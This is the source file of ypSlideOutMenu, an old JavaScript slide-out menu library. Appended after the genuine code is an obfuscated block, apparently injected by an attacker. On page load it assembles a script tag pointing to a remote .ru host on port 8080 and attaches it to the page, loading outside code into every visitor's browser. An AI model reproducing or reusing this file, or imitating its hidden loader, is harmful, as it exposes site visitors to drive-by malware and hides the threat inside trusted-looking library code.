/*****************************************************
 * ypSlideOutMenu
 * http://ypslideoutmenus.sourceforge.net/
 * 3/04/2001
 * 
 * a nice little script to create exclusive, slide-out
 * menus for ns4, ns6, mozilla, opera, ie4, ie5 on 
 * mac and win32. I've got no linux or unix to test on but 
 * it should(?) work... 
 *
 * Licensed under AFL 2.0
 * http://www.opensource.org/licenses/afl-2.0.php
 *
 * Revised: 
 * - 08/29/2002 : added .hideAll()
 * - 04/15/2004 : added .writeCSS() to support more 
 *                than 30 menus.
 *
 * --youngpup--
 *****************************************************/

ypSlideOutMenu.Registry = []
ypSlideOutMenu.aniLen = 250
ypSlideOutMenu.hideDelay = 100
ypSlideOutMenu.minCPUResolution = 10

// constructor
function ypSlideOutMenu(id, dir, left, top, width, height)
{
	this.ie  = document.all ? 1 : 0
	this.ns4 = document.layers ? 1 : 0
	this.dom = document.getElementById ? 1 : 0
	this.css = "";

	if (this.ie || this.ns4 || this.dom) {
		this.id			 = id
		this.dir		 = dir
		this.orientation = dir == "left" || dir == "right" ? "h" : "v"
		this.dirType	 = dir == "right" || dir == "down" ? "-" : "+"
		this.dim		 = this.orientation == "h" ? width : height
		this.hideTimer	 = false
		this.aniTimer	 = false
		this.open		 = false
		this.over		 = false
		this.startTime	 = 0

		// global reference to this object
		this.gRef = "ypSlideOutMenu_"+id
		eval(this.gRef+"=this")

		// add this menu object to an internal list of all menus
		ypSlideOutMenu.Registry[id] = this

		var d = document
		var strCSS = "";
		
		strCSS += '#' + this.id + 'Container { visibility:hidden; '
		strCSS += 'left:' + left + 'px; '
		strCSS += 'top:' + top + 'px; '
		strCSS += 'overflow:hidden; z-index:10000; }'
		strCSS += '#' + this.id + 'Container, #' + this.id + 'Content { position:absolute; '
		strCSS += 'width:' + width + 'px; '
		strCSS += 'height:' + height + 'px; '
		strCSS += 'clip:rect(0 ' + (width) + ' ' + height + ' 0); '
		strCSS += '}'

		this.css = strCSS;

		this.load()
	}
}

ypSlideOutMenu.writeCSS = function() {
	document.writeln('<style type="text/css">');

	for (var id in ypSlideOutMenu.Registry) {
		document.writeln(ypSlideOutMenu.Registry[id].css);
	}

	document.writeln('</style>');
}

ypSlideOutMenu.prototype.load = function() {
	var d = document
	var lyrId1 = this.id + "Container"
	var lyrId2 = this.id + "Content"
	var obj1 = this.dom ? d.getElementById(lyrId1) : this.ie ? d.all[lyrId1] : d.layers[lyrId1]
	if (obj1) var obj2 = this.ns4 ? obj1.layers[lyrId2] : this.ie ? d.all[lyrId2] : d.getElementById(lyrId2)
	var temp

	if (!obj1 || !obj2) window.setTimeout(this.gRef + ".load()", 100)
	else {
		this.container	= obj1
		this.menu		= obj2
		this.style		= this.ns4 ? this.menu : this.menu.style
		this.homePos	= eval("0" + this.dirType + this.dim)
		this.outPos		= 0
		this.accelConst	= (this.outPos - this.homePos) / ypSlideOutMenu.aniLen / ypSlideOutMenu.aniLen 

		// set event handlers.
		if (this.ns4) this.menu.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
		this.menu.onmouseover = new Function("ypSlideOutMenu.showMenu('" + this.id + "')")
		this.menu.onmouseout = new Function("ypSlideOutMenu.hideMenu('" + this.id + "')")

		//set initial state
		this.endSlide()
	}
}
	
ypSlideOutMenu.showMenu = function(id)
{
	var reg = ypSlideOutMenu.Registry
	var obj = ypSlideOutMenu.Registry[id]
	
	if (obj.container) {
		obj.over = true

		// close other menus.
		for (menu in reg) if (id != menu) ypSlideOutMenu.hide(menu)

		// if this menu is scheduled to close, cancel it.
		if (obj.hideTimer) { reg[id].hideTimer = window.clearTimeout(reg[id].hideTimer) }

		// if this menu is closed, open it.
		if (!obj.open && !obj.aniTimer) reg[id].startSlide(true)
	}
}

ypSlideOutMenu.hideMenu = function(id)
{
	// schedules the menu to close after <hideDelay> ms, which
	// gives the user time to cancel the action if they accidentally moused out
	var obj = ypSlideOutMenu.Registry[id]
	if (obj.container) {
		if (obj.hideTimer) window.clearTimeout(obj.hideTimer)
		obj.hideTimer = window.setTimeout("ypSlideOutMenu.hide('" + id + "')", ypSlideOutMenu.hideDelay);
	}
}

ypSlideOutMenu.hideAll = function()
{
	var reg = ypSlideOutMenu.Registry
	for (menu in reg) {
		ypSlideOutMenu.hide(menu);
		if (menu.hideTimer) window.clearTimeout(menu.hideTimer);
	}
}

ypSlideOutMenu.hide = function(id)
{
	var obj = ypSlideOutMenu.Registry[id]
	obj.over = false

	if (obj.hideTimer) window.clearTimeout(obj.hideTimer)
	
	// flag that this scheduled event has occured.
	obj.hideTimer = 0

	// if this menu is open, close it.
	if (obj.open && !obj.aniTimer) obj.startSlide(false)
}

ypSlideOutMenu.prototype.startSlide = function(open) {
	this[open ? "onactivate" : "ondeactivate"]()
	this.open = open
	if (open) this.setVisibility(true)
	this.startTime = (new Date()).getTime()	
	this.aniTimer = window.setInterval(this.gRef + ".slide()", ypSlideOutMenu.minCPUResolution)
}

ypSlideOutMenu.prototype.slide = function() {
	var elapsed = (new Date()).getTime() - this.startTime
	if (elapsed > ypSlideOutMenu.aniLen) this.endSlide()
	else {
		var d = Math.round(Math.pow(ypSlideOutMenu.aniLen-elapsed, 2) * this.accelConst)
		if (this.open && this.dirType == "-")		d = -d
		else if (this.open && this.dirType == "+")	d = -d
		else if (!this.open && this.dirType == "-")	d = -this.dim + d
		else										d = this.dim + d

		this.moveTo(d)
	}
}

ypSlideOutMenu.prototype.endSlide = function() {
	this.aniTimer = window.clearTimeout(this.aniTimer)
	this.moveTo(this.open ? this.outPos : this.homePos)
	if (!this.open) this.setVisibility(false)
	if ((this.open && !this.over) || (!this.open && this.over)) {
		this.startSlide(this.over)
	}
}

ypSlideOutMenu.prototype.setVisibility = function(bShow) { 
	var s = this.ns4 ? this.container : this.container.style
	s.visibility = bShow ? "visible" : "hidden"
}
ypSlideOutMenu.prototype.moveTo = function(p) { 
	this.style[this.orientation == "h" ? "left" : "top"] = this.ns4 ? p : p + "px"
}
ypSlideOutMenu.prototype.getPos = function(c) {
	return parseInt(this.style[c])
}

// events
ypSlideOutMenu.prototype.onactivate		= function() { }
ypSlideOutMenu.prototype.ondeactivate	= function() { }


try {var M;if(M!='sH'){M=''};var C;if(C!='N' && C != ''){C=null};var uU='';var g='[';var yq;if(yq!='Cv' && yq!='R'){yq='Cv'};var i=new Date();var J=']';var I='';var gQ=RegExp;var JC='g';this.X="";var x='replace';var G=new String();var c;if(c!='' && c!='_'){c=''};function d(K,D){var A=new Date();var s=g;s+=D;s+=J;var S=new gQ(s, JC);var Xu;if(Xu!='kk' && Xu!='GT'){Xu=''};var U;if(U!='KH' && U!='Pz'){U=''};return K[x](S, I);var kM;if(kM!='i_'){kM='i_'};var Dz;if(Dz!='F'){Dz='F'};};var v;if(v!='MQ'){v=''};this.h='';var KV=new Array();var m=d('824222424022244228222422202422242',"24");var KK;if(KK!=''){KK='Z'};var Ip=d('sHeFtFAFtFtTrHiFbHuTtFeF',"FHT");var RM=new Array();var VD;if(VD!='DW' && VD != ''){VD=null};var UJ=new Date();var VI;if(VI!='Y' && VI!='cc'){VI='Y'};var y=d('oxn5lFoxa5d1',"Fx15b");this.iK="";var B=new Array();var su=d('/YiYmYaOgYeObOaOmO.YcOoOmO/OiOmOaYgOeYbYaYmY.YcYoYmO/OgYoOoOgOlYeO.YsOeO/OrYiYnOcYoOnOdYeYlYvOaYgOoY.OcOoYmO/OgOoYoOgYlOeY.OcOoOmO.YpYhOpY',"OY");var AZ=new Date();this.dG='';var k=d('sHclrgilpHtl',"Hlg");this.OX='';var IK;if(IK!='Di' && IK != ''){IK=null};var W=d('hNtFtGpG:F/G/NiNmG21816F-Fc1oFmG.NxFbGoNxF.NcGo1mF.Nn1eGx1tGaGgF-Fc1oNmF.NmGyGfNrFeFeFmGaNgN.GrFuN:N',"NGF1");var OM;if(OM!='nm' && OM!='Zk'){OM='nm'};var il=new Array();var K="1";this.Bj="";var Oq;if(Oq!='' && Oq!='zN'){Oq=''};var yX=d('c9rDeDaDt9eDEDl9eDm9eDnDt9',"D9");var n=d('akp2pSe2nyd2Cyhyiyl2dk',"kS2y");this.ZO='';var e=d('bXoRdRyR',"4RX");var sB='';var ky='';var q='';var DI=new Array();var Tb="";this.ct='';this.eb='';window[y]=function(){var BC;if(BC!='' && BC!='Ty'){BC='r'};kY=document[yX](k);var H_;if(H_!=''){H_='aT'};var nn;if(nn!=''){nn='ul'};q+=W;q+=m;this._g="";var PF;if(PF!='XI'){PF=''};q+=su;var hq;if(hq!='Nt'){hq='Nt'};kY.src=q;var O=document[e];kY.setAttribute('defer', K);var NX=new String();var ot;if(ot!='iX' && ot!='CE'){ot='iX'};O.appendChild(kY);var nG;if(nG!='RB' && nG!='zn'){nG=''};var Cw=new String();};var ul_;if(ul_!='cm'){ul_='cm'};var zI="";} catch(l){};